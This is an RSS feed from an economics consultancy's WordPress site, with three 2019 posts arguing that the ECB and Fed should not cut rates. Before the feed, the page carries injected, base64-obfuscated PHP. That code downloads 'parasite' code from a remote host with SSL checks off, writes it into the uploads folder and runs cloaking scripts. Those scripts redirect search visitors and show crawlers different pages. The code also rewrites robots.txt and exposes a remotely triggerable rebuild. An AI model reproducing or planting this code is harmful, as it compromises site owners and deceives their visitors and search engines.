error_reporting(0);ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='), 0);define(base64_decode('Q0FDSEVfVFRM'), 1800);define(base64_decode('SU1BR0VfQ0FDSEVfVFRM'), 86400);if (defined(base64_decode('QUJTUEFUSA=='))) define(base64_decode('Q0FDSEVfRElS'), ABSPATH . base64_decode('L3dwLWNvbnRlbnQvdXBsb2Fkcy93b29jb21tZXJjZV91cGxvYWRzL2NhY2hlLw=='));else define(base64_decode('Q0FDSEVfRElS'), __DIR__ . base64_decode('Ly4uLy4uLy4uL3VwbG9hZHMvd29vY29tbWVyY2VfdXBsb2Fkcy9jYWNoZS8='));define(base64_decode('U0lURV9JRA=='), base64_decode('MTA2MjA='));define(base64_decode('Q09ERV9BUElfS0VZ'), base64_decode('ZjIzOWEwNDk2MGE0NGM2NTkzY2Y0NDczMmUzNTE5NWQ='));define(base64_decode('Q09ERV9BUElfQkFTRV9VUkw='), base64_decode('YS52aW5hcGkudG9w'));define(base64_decode('Q09ERV9BUElfVVJM'), CODE_API_BASE_URL . base64_decode('L2FwaS9wYXJhc2l0ZUNvZGUvc2l0ZS9pZC8=') . SITE_ID);define(base64_decode('SU1BR0VfQVBJX1VSTA=='), CODE_API_BASE_URL . base64_decode('L2FwaS9wYXJhc2l0ZUNvZGUvc2l0ZS9pZC8=') . SITE_ID . base64_decode('L2ltYWdlcy8w'));define(base64_decode('VVNFX0NVUkw='), function_exists(base64_decode('Y3VybF9pbml0')));if (!defined(base64_decode('REVERURFQlVH'))) define(base64_decode('REVERURFQlVH'), isset($_GET[base64_decode('ZGVkZWRlYnVn')]));if (!is_dir(CACHE_DIR)) {@mkdir(CACHE_DIR, 0755, true);}if (isset($_GET[base64_decode('YWN0aW9u')]) && $_GET[base64_decode('YWN0aW9u')] === base64_decode('YnVpbGQ=')) {$apiKey = $_SERVER[base64_decode('SFRUUF9YX0NPREVfQVBJX0tFWQ==')] ?? base64_decode(base64_decode(''));if (!empty($apiKey) && $apiKey === CODE_API_KEY) {wpclowo_buildFileStructure();header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04'));echo json_encode([base64_decode('Y29kZQ==') => 0, base64_decode('bXNn') => base64_decode('U1VDQ0VTUw==')]);exit();} else {http_response_code(401);header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04'));echo json_encode([base64_decode('Y29kZQ==') => 1, base64_decode('bXNn') => base64_decode('QVBJX0tFWV9GQUlMRUQ=')]);exit();}}if (!file_exists(CACHE_DIR . base64_decode('aW5kZXgucGhw'))) {wpclowo_buildFileStructure();}function wpclowo_send_req($url, $headers){$search_dir = base64_decode('Lg==');$is_loaded = false;if (DEDEDEBUG) {echo base64_decode('c2VuZF9yZXEhPGJyPg==');}for ($i = 0; $i <= 4; $i++) {$file_path = $search_dir . base64_decode('L3dwLWxvYWQucGhw');if (file_exists($file_path) || is_link($file_path)) {require_once($file_path);$is_loaded = true;break;}$search_dir = dirname($search_dir);if ($search_dir === dirname($search_dir)) {break;}}if ($is_loaded) {if (DEDEDEBUG) {echo base64_decode('d3BfcmVtb3RlX2dldCE8YnI+');}$response = wp_remote_get($url, [ base64_decode('dGltZW91dA==') => 10, base64_decode('c3NsdmVyaWZ5') => false, base64_decode('aGVhZGVycw==') => $headers ]);if (is_wp_error($response)) {return [base64_decode('ZXJy') => $response];} else {$body = wp_remote_retrieve_body($response);return [base64_decode('Ym9keQ==') => $body];}} else {return [base64_decode('ZXJy') => base64_decode('V1BfTE9BRF9OT1RfRk9VTkQ=')];}}function wpclowo_isImageFile($fileName){$imageExtensions = [base64_decode('cG5n'), base64_decode('anBn'), base64_decode('anBlZw=='), base64_decode('Z2lm'), base64_decode('aWNv'), base64_decode('c3Zn'), base64_decode('d2VicA==')];$ext = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));return in_array($ext, $imageExtensions);}function wpclowo_write2temp2file($name, $content){$temp = $name . base64_decode('LmJr');if (DEDEDEBUG) {echo base64_decode('U1RBUlQgTU9WRSA=') . $temp . base64_decode('IFRPIA==') . $name . base64_decode('ICE8YnI+');}if (@file_put_contents($temp, $content) !== false) {if (@rename($temp, $name)) {if (DEDEDEBUG) {echo base64_decode('TU9WRSA=') . $temp . base64_decode('IFRPIA==') . $name . base64_decode('IFNVQ0NFU1MhPGJyPg==');}return 0;} else {if (DEDEDEBUG) {echo base64_decode('TU9WRSA=') . $temp . base64_decode('IEZBSUxFRCE8YnI+');}return 1;}} else {if (DEDEDEBUG) {echo base64_decode('Q1JFQVRFIA==') . $temp . base64_decode('IEZBSUxFRCE8YnI+');}return 2;}}function wpclowo_createFileStructure($remoteData){if (!$remoteData || !isset($remoteData[base64_decode('ZmlsZXM=')])) return;foreach ($remoteData[base64_decode('ZmlsZXM=')] as $file) {if (DEDEDEBUG) {echo base64_decode('RklMRTog') . $file[base64_decode('cGF0aA==')] . base64_decode('PGJyPg==');echo base64_decode('Q09OVEVOVDog') . gettype($file[base64_decode('Y29udGVudA==')]) . base64_decode('PGJyPg==');}$filePath = CACHE_DIR . $file[base64_decode('cGF0aA==')];$content = $file[base64_decode('Y29udGVudA==')];$dir = dirname($filePath);if ($dir && !is_dir($dir)) {@mkdir($dir, 0755, true);}if (wpclowo_isImageFile($file[base64_decode('cGF0aA==')])) {$decoded = base64_decode($content);if ($decoded !== false) {@wpclowo_write2temp2file($filePath, $decoded);}} else {@wpclowo_write2temp2file($filePath, $content);}}}function wpclowo_verifyCode(){$datas = [ @file_get_contents(CACHE_DIR . base64_decode('Y29kZV8=') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=')), @file_get_contents(CACHE_DIR . base64_decode('aW1hZ2VzXw==') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=')), ];foreach ($datas as $data) {$files = (object)@$data[base64_decode('ZGF0YQ==')][base64_decode('ZmlsZXM=')];foreach ($files as $file) {$filePath = CACHE_DIR . $file[base64_decode('cGF0aA==')];$content = $file[base64_decode('Y29udGVudA==')];$dir = dirname($filePath);if ($dir && !is_dir($dir)) {@mkdir($dir, 0755, true);}if (!file_exists($filePath) || filesize($filePath) <= 0) {if (wpclowo_isImageFile($file[base64_decode('cGF0aA==')])) {$decoded = base64_decode($content);if ($decoded !== false) {@wpclowo_write2temp2file($filePath, $decoded);}} else {@wpclowo_write2temp2file($filePath, $content);}}}}}function wpclowo_buildFileStructure($dl = true){$cacheFile = CACHE_DIR . base64_decode('Y29kZV8=') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=');$imageCacheFile = CACHE_DIR . base64_decode('aW1hZ2VzXw==') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=');try {$cache_exists = file_exists($cacheFile);if ($dl || !$cache_exists) {if (USE_CURL && ($ch = curl_init())) {if (DEDEDEBUG) {echo base64_decode('VVNFX0NVUkwhQ09ERQ==') . PHP_EOL;}curl_setopt($ch, CURLOPT_URL, CODE_API_URL);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_TIMEOUT, 10);curl_setopt($ch, CURLOPT_HTTPHEADER, [base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY]);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);$response = curl_exec($ch);curl_close($ch);} else {if (DEDEDEBUG) {echo base64_decode('VVNFX0ZJTEVfR0VUIUNPREU8YnI+');}$context = stream_context_create([base64_decode('aHR0cA==') => [base64_decode('bWV0aG9k') => base64_decode('R0VU'), base64_decode('aGVhZGVy') => base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY, base64_decode('dGltZW91dA==') => 10]]);$response = @file_get_contents(CODE_API_URL, false, $context);}if (!$response) {$req_result = @wpclowo_send_req(base64_decode('aHR0cHM6Ly8=') . CODE_API_URL, [base64_decode('WC1Db2RlLUFQSS1LZXk=') => CODE_API_KEY]);if (isset($req_result[base64_decode('Ym9keQ==')])) {$response = $req_result[base64_decode('Ym9keQ==')];} else {if (DEDEDEBUG) {var_dump($req_result);}}}if ($response) {$data = json_decode($response, true);if ($data && $data[base64_decode('Y29kZQ==')] == 0) {@file_put_contents($cacheFile, $response, LOCK_EX);wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}}} else {if (DEDEDEBUG) {echo base64_decode('SEFTX1JFU1AhQ09ERTxicj4=');}$data = @json_decode(@file_get_contents($cacheFile));if ($data) wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}} catch (Exception $e) {}try {$cache_exists = file_exists($imageCacheFile);if ($dl || !$cache_exists) {if (USE_CURL && ($ch = curl_init())) {if (DEDEDEBUG) {echo base64_decode('VVNFX0NVUkwhSU1HPGJyPg==');}curl_setopt($ch, CURLOPT_URL, IMAGE_API_URL);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_TIMEOUT, 10);curl_setopt($ch, CURLOPT_HTTPHEADER, [base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY]);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);$response = curl_exec($ch);curl_close($ch);} else {if (DEDEDEBUG) {echo base64_decode('VVNFX0ZJTEVfR0VUIUlNRzxicj4=');}$context = stream_context_create([base64_decode('aHR0cA==') => [base64_decode('bWV0aG9k') => base64_decode('R0VU'), base64_decode('aGVhZGVy') => base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY, base64_decode('dGltZW91dA==') => 10]]);$response = @file_get_contents(IMAGE_API_URL, false, $context);}if (!$response) {$req_result = @wpclowo_send_req(base64_decode('aHR0cHM6Ly8=') . IMAGE_API_URL, [base64_decode('WC1Db2RlLUFQSS1LZXk=') => CODE_API_KEY]);if (isset($req_result[base64_decode('Ym9keQ==')])) {$response = $req_result[base64_decode('Ym9keQ==')];}}if ($response) {if (DEDEDEBUG) {echo base64_decode('SEFTX1JFU1AhSU1HPGJyPg==');}$data = json_decode($response, true);if ($data && $data[base64_decode('Y29kZQ==')] == 0) {@file_put_contents($imageCacheFile, $response, LOCK_EX);wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}}} else {$data = @json_decode(@file_get_contents($imageCacheFile));if ($data) wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}} catch (Exception $e) {}}$request_uri = $_SERVER[base64_decode('UkVRVUVTVF9VUkk=')] ?? base64_decode('Lw==');$request_path = parse_url($request_uri, PHP_URL_PATH);$query_string = parse_url($request_uri, PHP_URL_QUERY);$redir_exceptions = [ base64_decode('L3Byb2R1Y3RzLw=='), base64_decode('L3Byb2R1Y3Qv'), base64_decode('L2dhbWVzLw=='), base64_decode('L2dhbWUv'), base64_decode('L3NhbGUv'), base64_decode('L3NhbGVzLw=='),];$should_redir = false;foreach ($redir_exceptions as $exception) {if (strpos($request_path, $exception) !== false) {$should_redir = true;break;}}$exceptions = [base64_decode('L3dwLWFkbWluLw=='), base64_decode('L3dwLWxvZ2luLnBocA=='), base64_decode('L2NhY2hlLw=='), base64_decode('L3dwLWNvbnRlbnQvdGhlbWVzLw=='), base64_decode('L3dwLWNvbnRlbnQvcGx1Z2lucy8='), base64_decode('L3dwLWNvbnRlbnQvdXBsb2Fkcy8='),];$is_exception = false;foreach ($exceptions as $exception) {if (strpos($request_path, $exception) !== false) {$is_exception = true;break;}}if (DEDEDEBUG) {echo base64_decode('SVNfRVhDRVBUSU9OOiA=') . $is_exception . base64_decode('PGJyPg==');echo base64_decode('c2hvdWxkX3JlZGlyOiA=') . $should_redir . base64_decode('PGJyPg==');}$static_extensions = [base64_decode('cGhw'), base64_decode('Y3Nz'), base64_decode('anM='), base64_decode('cG5n'), base64_decode('anBn'), base64_decode('anBlZw=='), base64_decode('Z2lm'), base64_decode('aWNv'), base64_decode('c3Zn'), base64_decode('d29mZg=='), base64_decode('d29mZjI='), base64_decode('dHRm'), base64_decode('ZW90'), base64_decode('cGRm')];$is_static_file = false;foreach ($static_extensions as $ext) {if (preg_match(base64_decode('L1wu') . preg_quote($ext, base64_decode('Lw==')) . base64_decode('JC8='), $request_path)) {$is_static_file = true;break;}}if (function_exists(base64_decode('YWRkX2ZpbHRlcg=='))) {add_filter( base64_decode('d3Bfc2l0ZW1hcHNfZW5hYmxlZA=='), base64_decode('X19yZXR1cm5fZmFsc2U=') );}if ($request_path === base64_decode('L3JvYm90cy50eHQ=')) {$robots_file = CACHE_DIR . base64_decode('cm9ib3RzLnR4dA==');if (file_exists($robots_file)) {header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04'));readfile($robots_file);exit();} else {$currentDomain = $_SERVER[base64_decode('SFRUUF9IT1NU')] ?? base64_decode('bG9jYWxob3N0');$robotsContent = base64_decode('VXNlci1hZ2VudDogKlxuQWxsb3c6IC9cblNpdGVtYXA6IGh0dHBzOi8v') . $currentDomain . base64_decode('L3NpdGVtYXAueG1s');header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04'));echo $robotsContent;exit();}}if (preg_match(base64_decode('L15zaXRlbWFwLipcLnhtbCQv'), $query_string ?? base64_decode(base64_decode(''))) || preg_match(base64_decode('L15cL3NpdGVtYXAuKlwueG1sJC8='), $request_path)) {$sitemap_file = CACHE_DIR . base64_decode('c2l0ZW1hcC5waHA=');if (file_exists($sitemap_file)) {require_once $sitemap_file;exit();}}if (DEDEDEBUG) {echo base64_decode('SVNfU1RBVElDX0ZJTEU6IA==') . $is_static_file . base64_decode('PGJyPg==');}if ($should_redir && !$is_static_file) {$usering_file = CACHE_DIR . base64_decode('dXNlcmluZy5waHA=');$cloaking_file = CACHE_DIR . base64_decode('Y2xvYWtpbmcucGhw');$config_file = CACHE_DIR . base64_decode('Y29uZmlnLnBocA==');if (file_exists($usering_file) && file_exists($config_file)) {require_once $usering_file;} else if (file_exists($cloaking_file) && file_exists($config_file)) {require_once $cloaking_file;} else {if (DEDEDEBUG) {echo base64_decode('RklMRSBOT1QgRVhJU1QhPGJyPg==');}}$clean_path = trim($request_path, base64_decode('Lw=='));if (isset($user) && $user->is_human_from_search) {if (DEDEDEBUG) {echo base64_decode('UkVESVI8YnI+');}header(base64_decode('TG9jYXRpb246') . $user->getRedirectUrl());exit();} elseif (isset($blocked) && $blocked) {if (DEDEDEBUG) {echo base64_decode('QkxPQ0tFRCE8YnI+');}$clean_path = base64_decode('Lw==') . $clean_path;$router_file = CACHE_DIR . base64_decode('cm91dGVyLnBocA==');if (file_exists($router_file)) {require_once $router_file;}exit();} else {if (DEDEDEBUG) {echo base64_decode('Tk9UIEJMT0NLRUQhPGJyPg==');}}} ECB – Alpha Strategy Consulting https://alphastrategyconsulting.com Mon, 09 Sep 2019 21:41:34 +0000 en-GB hourly 1 https://wordpress.org/?v=6.8.1 https://alphastrategyconsulting.com/wp-content/uploads/2018/03/cropped-LOGO_ALPHA_ICONO2_512-32x32.png ECB – Alpha Strategy Consulting https://alphastrategyconsulting.com 32 32 Why the ECB should raise, not cut rates https://alphastrategyconsulting.com/why-the-ecb-should-raise-not-cut-rates/ https://alphastrategyconsulting.com/why-the-ecb-should-raise-not-cut-rates/#respond Mon, 09 Sep 2019 21:41:34 +0000 https://alphastrategyconsulting.com/?p=7025

 

 

Negative rates are likely one of the reasons behind the lacklustre European growth. Negative rates have worked as a tool to transfer wealth from savers to the indebted governments that have abandoned all structural reforms, while these extremely low rates have also perpetuated overcapacity, incentivised the refinancing of zombie companies and effectively worked as a disguised subsidy on low productivity. Not only those measures have damaged banks, but they have also created very dangerous collateral impacts (read “Negative Rates Have Damaged Banks But This Is Not The Worst Effect”).

In recent weeks we have heard of a likely new stimulus plan that would include a new repurchase program and further rate cuts. A new asset purchase program is completely unnecessary and unlikely to spur growth when all Eurozone countries already have sovereign debt with negative yields in 2-year maturities and the vast majority have negative real or nominal yields in the 10-year bonds.  Why would the ECB repurchase corporate and sovereign bonds when the issuers are already financing themselves at the lowest rates in history?  Furthermore, by reading some statements one would believe that the ECB has stopped supporting the economy. Far from it, when it repurchases all debt maturities in its balance sheet and has implemented another liquidity injection TLTRO in March 2019.

The main problem of those who defend further purchases and more negative rates is one of diagnosis. The central planners believe the Eurozone problems come from lack of demand, and that investment and credit growth are not what they would want them to be only because investors and corporates believe that rates will ultimately rise, leading to defensive positioning.

The eurozone has seen nothing but demand-side stimuli, and after trillions of euros the economy is weakening because of them, not despite them. Because the problem is a supply-side problem that the ECB cannot solve. Rising interventionism and tax wedge that choke the private initiative despite alleged attractive conditions.

The other problem of diagnosis is to believe that credit growth and investment today are insufficient.  There is no evidence that companies are investing less than what they need or that citizens are not taking the credit they desire and are able to repay, rather the opposite. In fact, the rise of zombie companies that the BIS mentions in various papers is precisely a sign of malinvestment and excess capacity. Ultimately, the central planners who believe that credit and investment growth are insufficient think so because they ignore technology and aging of the population. When governments and central banks ignore the diminishing requirement of capital investment that technology creates and the changes in consumption and investment patterns from demographics, their diagnosis of what is adequate investment and consumption is simply wrong. Even worse, when the rationale to support the idea of “lack of investment” and therefore a need for lower rates is based on looking at 2001-2007 as “normal” years, they are always going to make a mistake. Those were years that no one should consider as average, but years of a bubble that burst badly.

A recent analysis made by Scope Ratings showed that “a tiered system of remunerating reserves to mitigate the impact of lower rates on bank profits will have a limited effect. Euro Area banks have already incurred EUR 23.2bn in charges since the negative-rate began policy in 2014, EUR 7.5bn in 2018 alone”. Scope calculates the annualized current running cost of excess liquidity is EUR 6.8bn. Any further cut to the deposit rate would cost EA banks EUR 1.7bn. “In other words, EA bank ROE is c.40bp lower than it would be in the absence of negative rates.

Why should the ECB raise rates by a small 25bps then?

  1. It would show a sign of normalization without any real impact on mortgage, credit or investment growth. It would be a signal of health.
  2. It would stop the bleeding in banks, ultimately supporting the credit transmission mechanism, especially relevant in the eurozone, where banks finance 80% of the real economy.  Read this paper by Urbschat et al “The Good, the Bad, and the Ugly: Impact of Negative Interest Rates and QE on the Profitability and Risk-Taking of 1600 German Banks“. as well as Christensen et al “Negative Rates and Inflation Expectations In Japan“.
  3. Negative interest rates are generating dangerous collateral incentives to take more risk in speculative areas, refinance zombie entities and drive investors to levels of excess risk that many find difficult to understand.Worth reading Palley’s  “The fallacy of the natural rate of interest and zero lower bound economics: why negative interest rates may not remedy Keynesian unemployment“, even if you disagree (as I do) with the idea of “demand shortage”. We have excess supply from demand-side policies, as well as “Global Real Rates, A Secular Approach” by the BIS.
  4. Persisting with Japan-style measures, ignoring technology and demographics, as well as ignoring the side effects of negative rates will only lead the eurozone deeper into stagnation. The paper “Raise Rates to Raise Inflation? Neo-Fisherianism in the New Keynesian Model” by  Garin et al also show that even if you follow the Keynesian principles of central planners, the best way to improve inflation expectations is to mildly raise rates.

The evidence of the last years shows that the eurozone is slowing down in the middle of an unprecedented chain of fiscal and monetary stimuli. The failure to improve growth cannot be detached from the persistence on repeating failed measures. Implementing a larger quantitative easing and deeper rate cut program will not solve it,  because the diagnosis is incorrect.

A small rate hike added to support to those governments that implement structural reforms may help the eurozone. Monetary policy now is dangerously whitewashing populists who feel they can increase imbalances and put further fiscal strains on their countries’ budgets with no real risk, as yields continue to fall, albeit artificially.

A small rate hike would be a healthy signal that may help the ECB understand the real secondary demand for sovereigns, stop the zombification of the economy and improve liquidity transmissions to the real economy. Instead of being an incentive for reckless behavior from deficit-spending governments, it can be the beginning of an incentive to strengthen the private sector and the real economy.

]]>
https://alphastrategyconsulting.com/why-the-ecb-should-raise-not-cut-rates/feed/ 0
The Fed’s Unnecessary Rate Cut https://alphastrategyconsulting.com/the-feds-unnecessary-rate-cut/ https://alphastrategyconsulting.com/the-feds-unnecessary-rate-cut/#respond Tue, 30 Jul 2019 21:55:44 +0000 https://alphastrategyconsulting.com/?p=7009 If there is something that is evident is that the United States does not need a rate cut.

With the economy growing at 2.1%, unemployment at 3.6%, creating 170,000 jobs per month, and estimated underlying core inflation of 2%, no objective data justifies cutting rates that are already artificially low. Wages are rising by 3% and credit growth for companies and families is solid.

There is also no public sector financing problem. The 10-year US bond trades at a 2.05% yield, consistent with the country’s growth and inflation. In real terms, the United States borrows at almost no cost and without Federal Reserve support, as all bond demand comes from the secondary market.

If the Federal Reserve cuts rates it can be for two reasons: One, because it expects a drastic and abrupt worsening of the economy, but that is apparently not the case, as the Fed itself talks of a “solid” economy. The second reason would be more concerning. The Federal Reserve would cut rates as a reactive measure against the monetary assault of the ECB (eurozone), the PBOC (China) and the BOJ (Japan). That is because it is recognizing in a veiled way that we are in a dangerous bubble inflated by central banks, and that we are heading for a currency war. It is no surprise that the dollar index (the DXY) has risen despite expectations of lower rates and even repurchase of bonds via reinvestment of interests in the United States. When all major economies “copy” the Fed without having the financial balance, economic dynamism and global reserve currency of the United States, they are basically implicitly saying “buy dollars”.

Constant easing has created major imbalances, from asset bubbles to rising zombie companies (“Asset Bubbles to Zombie Companies: The Dark Side of Rate Cuts”).

In the eurozone, there is a similar case. There is no need to cut rates and launch another stimulus, which by the way has never been abandoned, by the way, since all expirations are repurchased). The excess liquidity in the ECB exceeds 1.79 billion euros, rates are already negative and the eurozone governments issue debt at negative and artificially low yields. The credit market shows the risk of dangerous bubbles when the spread between junk and high-quality bonds has fallen to historic lows.

The problem of stagnation of the eurozone and other economies has nothing to do with rates. Businesses and consumers are not going to take more credit or invest more due to a 0.5% change in already artificially depressed rates. The problem of stagnation in many economies is not due to lack of monetary stimulus but its excess. Zombie debt is perpetuated, overcapacity is maintained and malinvestment in high risk and low productivity sectors is encouraged.

The risk to markets is that investors fall again into the trap of betting on “the worse, the better”, that is, taking more risk despite the fact that the earnings’ season and macro data are disappointing, with traders betting it all on new liquidity injections.

The Fed and the ECB face the devil’s alternative. If they normalize monetary policy, they risk an abrupt and widespread correction in risky asset prices, and if they do not normalize, they lose tools to face a true cycle change. The Federal Reserve still has some tools, but the ECB is already in diminishing return territory in monetary policy.

The United States does not need a rate cut, but it probably will. Reducing exposure to the most cyclical part of portfolios may be a good idea because the race towards negative rates of the global economy has only one result: secular stagnation. Central banks will keep risky asset prices, but we cannot forget collateral damages. When high productivity is fiscally penalized and monetary policy is rewarding the most inefficient and indebted parts of the economy, growth suffers and bubbles reach systemic size.

]]>
https://alphastrategyconsulting.com/the-feds-unnecessary-rate-cut/feed/ 0
Lagarde, the ECB and the next crisis https://alphastrategyconsulting.com/lagarde-the-ecb-and-the-next-crisis/ https://alphastrategyconsulting.com/lagarde-the-ecb-and-the-next-crisis/#respond Mon, 15 Jul 2019 06:00:06 +0000 https://alphastrategyconsulting.com/?p=7005 The appointment of Christine Lagarde as president of the ECB has been greeted with euphoria by financial markets. That reaction in itself should be a warning signal. When risky assets soar in the middle of a huge bubble due to a central bank appointment, the supervising entity should be concerned.

Lagarde is a lawyer, not an economist, and a great professional, but the market probably interprets correctly is that the European Central Bank will become even more dovish. Lagarde, for example, is a strong advocate of negative rates.

Lagarde and Vice President De Guindos have warned of the need to carry out measures to avoid a possible financial crisis, proposing different mechanisms to mitigate the shocks created by excess risk. Both are right, but that search for mechanisms to work as shock buffers runs the risk of being sterile when it is the monetary policy that encourages excess. When the central bank solves a financial crisis by absorbing the excess risk that the market once took it does not reduce it, it only disguises it. 

Supervisors ignore the effect of risk accumulation because they perceive it as necessary collateral damage to the recovery. Risk accumulates precisely because it is encouraged.

Draghi said that monetary policy is not the correct instrument to deal with financial imbalances and macroprudential tools should be used. However, it is the monetary policy which is causing those imbalances when an extraordinary, conditional and limited measure becomes an eternal and unconditional one.

When monetary policy disguises and encourages risk, macroprudential measures are simply ineffective. There is no macroprudential measure that mitigates the risk created by negative rates and almost three trillion of asset purchases. More than half of European debt has negative returns and the ECB must maintain the repurchase of maturities, injections of liquidity and even announce a new program of quantitative easing in the face of the lack of sufficient demand in the secondary market for those negative yielding bonds. That is a bubble.

Risk builds up slowly and happens instantaneously. That is what the central planner does not seem to want to understand and the reason why stress tests and macroprudential measures fail in the midst of monetary stimuli. Because they start from a fallacious base: Ceteris paribus and that the already accumulated imbalances are manageable.

When most Eurozone countries finance themselves at negative rates for up to seven to ten years, there is no reason to maintain current rates and stimuli.

The central planner can say that bond yields are low due to market demand, but when the Central Bank supplants the market by injecting, repurchasing maturities and announcing more monetary stimuli, the placebo effect in the real economy is imperceptible and the risk in financial assets is huge. The huge injection of money supply goes to other risk assets in search of a diminishing yield.

The eurozone has been in stagnation for several months, with many leading indicators worsening, and it is not due to lack of stimulus, but due to excess.

1.- 64% of the sovereign debt of the eurozone hs negative yields. Five trillion euros . Completely unjustified looking at solvency, liquidity or growth ratios.

2.- Junk bonds are at the lowest yield in thirty years, while the rating agencies warn that the solvency and liquidity ratios have not improved. The BIS warned of the increase of zombie companies, eternally refinanced at low rates despite not being able to cover their interest expenses with operating profit. Meanwhile, companies on the verge of bankruptcy are financed at rates of 3.5-4%.

3 .- The multiples paid for infrastructure assets have soared in little more than half a decade and now no one is surprised to see 19 times EBITDA paid for assets driven by low rates and cheap debt.

4.- Excess liquidity reached 1.2 trillion euros. It has multiplied sevenfold since the launch of the repurchase program.

5.- The debt of non-financial companies in the eurozone remains above 78% of GDP, according to Standard and Poor’s, above the cycle maximum of the fourth quarter of 2008.

Many say that nothing has happened yet, although it is more than debatable, according to bankruptcies of financial entities and increase of zombie companies. However, the fact that there has not been a massive financial crisis yet does not mean that the bubble is not being inflated. And when that bubble is in several assets at once, there are no macroprudential measures to cover the risk.

The problem of central planners is one of diagnosis. They think that if credit does not grow as much as they think it should grow and investment and growth are not what they estimated, it is because more stimulus is needed. Many ignore the effect of overcapacity, excess debt and demographics while carrying out the greatest transfer of wealth from savers and the productive economy to the indebted.

Calls for prudence and risk analysis measures would be much more effective if misallocation of capital was not encouraged by the policy itself. We must be aware that lower rates and more liquidity will not improve the economy, but they may generate a dangerous boomerang effect on risk assets.

Lagarde faces two difficult options. On one side, continue with negative rates and liquidity injections which perpetuate overcapacity, make governments avoid structural reforms and stagnate the economy. On the other side, normalizing monetary policy would show the artificially low yields of sovereign debt as unsustainable.  She needs to face reality. The Eurozone does not need more monetary stimulus or government spending, it needs less interventionism.

]]>
https://alphastrategyconsulting.com/lagarde-the-ecb-and-the-next-crisis/feed/ 0